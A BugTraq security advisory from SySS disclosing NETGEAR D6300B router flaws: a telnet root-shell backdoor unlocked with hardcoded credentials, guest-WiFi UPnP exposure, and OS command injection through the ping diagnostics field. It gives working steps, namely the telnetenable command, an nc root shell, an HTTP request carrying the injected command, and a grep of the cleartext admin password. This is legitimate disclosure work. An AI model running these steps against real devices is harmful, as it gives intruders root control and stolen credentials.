BugTraq
Security Advisory: NETGEAR Router D6300B Firmware: V1.0.0.14_1.0.14 Feb 05 2014 11:38AM
marcel mangold syss de
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Advisory ID: SYSS-2013-001
Product: NETGEAR Router D6300B / Firmware: V1.0.0.14_1.0.14 (latest)
Vendor: Netgear
Affected Version(s): until V1.0.0.14_1.0.14 (latest)
Tested Version(s): V1.0.0.14_1.0.14 (latest)
Vulnerability Type: Root-Shell, OS Command Injection, UPnP misconfiguration
Risk Level: High
Solution Status: None
Vendor Notification: 2013-12-12
Solution Date: None
Public Disclosure: 2014-02-04
CVE Reference: Not assigned
Author of Advisory: Marcel Mangold <marcel.mangold (at) syss (dot) de [email concealed]>, Pascal Uter <pascal.uter (at) syss (dot) de [email concealed]>
Document date: 2014-02-04
Abstract: Root shell telnet backdoor allows an attacker with access to LAN,
WiFi, or Guest WiFi to take over the device. Due to a UPnP misconfiguration,
shares which should be visible in the internal network only, can be accessed
from the Guest WiFi and port forwarding can be activated for the internal
network.
Credits: Daniel Sauder <daniel.sauder (at) syss (dot) de [email concealed]>

* Overview:

(1) It is possible to activate a telnet root shell by sending a specifically
crafted packet to the telnet service from within the LAN, WiFi, or guest WiFi.
It is not possible to exploit this vulnerability over the WAN interface.

(2) The router suffers from diverse UPnP related issues. The main problem is
UPnP being available from the guest wifi. The router provides file shares
(if a USB flash drive is plugged-in) via HTTP, FTP, and UPnP. While the HTTP
and FTP shares cannot be accessed from the guest WiFi, it is possible to
access the files via UPnP from the guest WiFi. As well port forwarding can be
activated out of the guest Wifi which gives an attacker the possibility to
reach services only available in the private WiFi out of the guest Wifi.

(3) The web interface is vulnerable to OS Command Injections by authorized users.

(4) The web interface cannot be accessed via HTTPS. The login credentials are
submitted as clear text over HTTP.

(5) The web interface login credentials are stored in clear text in the
/data/nvram file. This can be exploited in combination with (1) or (3).

* Details concerning (1), (3), (5):
(1)
Port 23/TCP (telnet) of the device is open and accessible from within the LAN,
WiFi, or guest WiFi. While it is possible to connect to the telnet port, the
telnet service does not respond until it receives a specifically crafted
packet. This packet is calculated out of the MAC address of the device, a
specific constant string, a user name and a password. User name and password
are: Gearguy / Geardog. To send the packet, it is possible to use the tool
telnetenable.py published by Paul Gebheim in 2009:

./telnetenable.py 192.168.0.1 28C68Exxxxxx Gearguy Geardog
Sent telnet enable payload to ?192.168.0.1:23?

Afterwards, it is possible to connect to a telnet root shell without the need of
further credentials:

nc 192.168.0.1 23
[...]
BusyBox v1.17.2 (2013-05-02 18:01:36 CST) hush - the humble shell
Enter ?help? for a list of built-in commands.
/ #

Note: It is not possible to use this back door from the WAN interface.

(3)
The administrative web interface of the device is vulnerable to OS command
injections. For example, it is possible to use the last field of the IP
address of the ping tool in the diagnostics page, to append another OS
command. The first lines of the command output are returned by the web
interface.

######## REQUEST: #########
###########################
POST /diag.cgi?id=991220771 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/DIAG_diag.htm
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

ping=Ping&IPAddr1=192&IPAddr2=168&IPAddr3=0&IPAddr4=1;ls&host_name=&ping
_IPAddr=192.168.0.1

######## RESPONSE: ########
###########################
HTTP/1.0 200 OK
Content-length: 6672
Content-type: text/html; charset="UTF-8"
Cache-Control:no-cache
Pragma:no-cache

<!DOCTYPE HTML>
<html>
[...]
<textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly>
bin
cferam.001
data
dev
etc
include
lib
linuxrc
mnt
opt

</textarea>
[...]

(5)
The web interface login credentials are stored in clear text in the /data/nvram
file. This can be exploited in combination with (1), the telnet back door, or
(3), the OS command injection in the web interface. Here, the exploitation with
the telnet back door:

/ # grep http_passwd /data/nvram
grep http_passwd /data/nvram
http_passwd=mywebinterfacepassword

* Solution:
(1) Wait for a new firmware.

(2) Wait for a new firmware. Disable the guest Wifi or UPnP for partical
protection.

(3) Only give the web interface credentials to people you would also grant root
access to the device. / Wait for a new firmware.

(4) Wait for a new firmware.

(5) Wait for a new firmware.

* Disclosure timeline:
2013-08-02 - Flaws were discovered in firmware V1.0.0.06
2013-12-12 - Flaws were verified for firmware version V1.0.0.14
2013-12-12 - First contact to vendor
2013-12-20 - Sent this document to vendor
2014-02-04 - Public Disclosure

* GPG:

E-Mail: marcel (dot) mangold (at) syss (dot) de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Marcel_Mango
ld.asc
Key ID: AC15E5BE
Key Fingerprint: E21C 69ED 9A64 7486 6EDD 5E29 4EFE B20B AC15 E5BE

E-Mail: pascal (dot) uter (at) syss (dot) de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Pascal_Uter.
asc
Key ID: 351596DF
Key Fingerprint: D269 30F3 F7DD 2C93 95B3 951C 8C89 45B0 3515 96DF

* Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)

iQIcBAEBAgAGBQJS8iTBAAoJEE7+sgusFeW+cV8QAJZ3I3p3Ms/NptWwro0BlDc3
0B7d7PuN1lgz+SAeytKGIRNHQ4QJ0CH8ebg3rjoCwFM7w8gVzYX+Fy4tNCg7k0vW
xrsyf9q8RgduIxKm78hYBYaKrIT5s8RYCL3WAOwGiPvS3gPzc79lzPiMzE/SrEDE
9dG1qizRJolvNjXXMD2mFGPduptKCBRUGYsr4AkLwcUndMN/PQyrL0HdPaEgrfeq
WGKluY7EbTIsFXLHdNjFJU2S4jshHA2pASudlK8yq7U0HIv0hU3vm0XU+2hxcJYw
Wti11ButNU72d4TsqOOuyzM4GijyS/YVFS4rHIgiIWu/UWjDoow0Lj6kVuzMWM/e
KMRUppi/E2AYm4twsZ0VW8PIv5NFjE9BCbY+E9b0rJR+MNjW+hE9c3wD9WAMrBia
uE3MFZjkW26mKhn3SR8tNUIEg2X3ocAizH+0qKGCS0815juLuB0eUG6KXyP0OWl5
k6xJ4AvqL99++AEnA93oDXBoUiNmhQ+0KPKsv9dyPbqQxnfDwlmfEhVqrR9UXQw/
YuKygKMiRAVViH7GaYhZg91hvWQloVE5BvSTmPYNI5neCzzemnvUUIJRM2iXtWmu
ff9+ZRB/OejnhXJ/CQntQENzZ8YlEHM9SSaalWNeuzxkWZuPVMxg7peCszeiBXr1
F+NkWImWomiOki5RyHDv
=gTNF
-----END PGP SIGNATURE-----

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus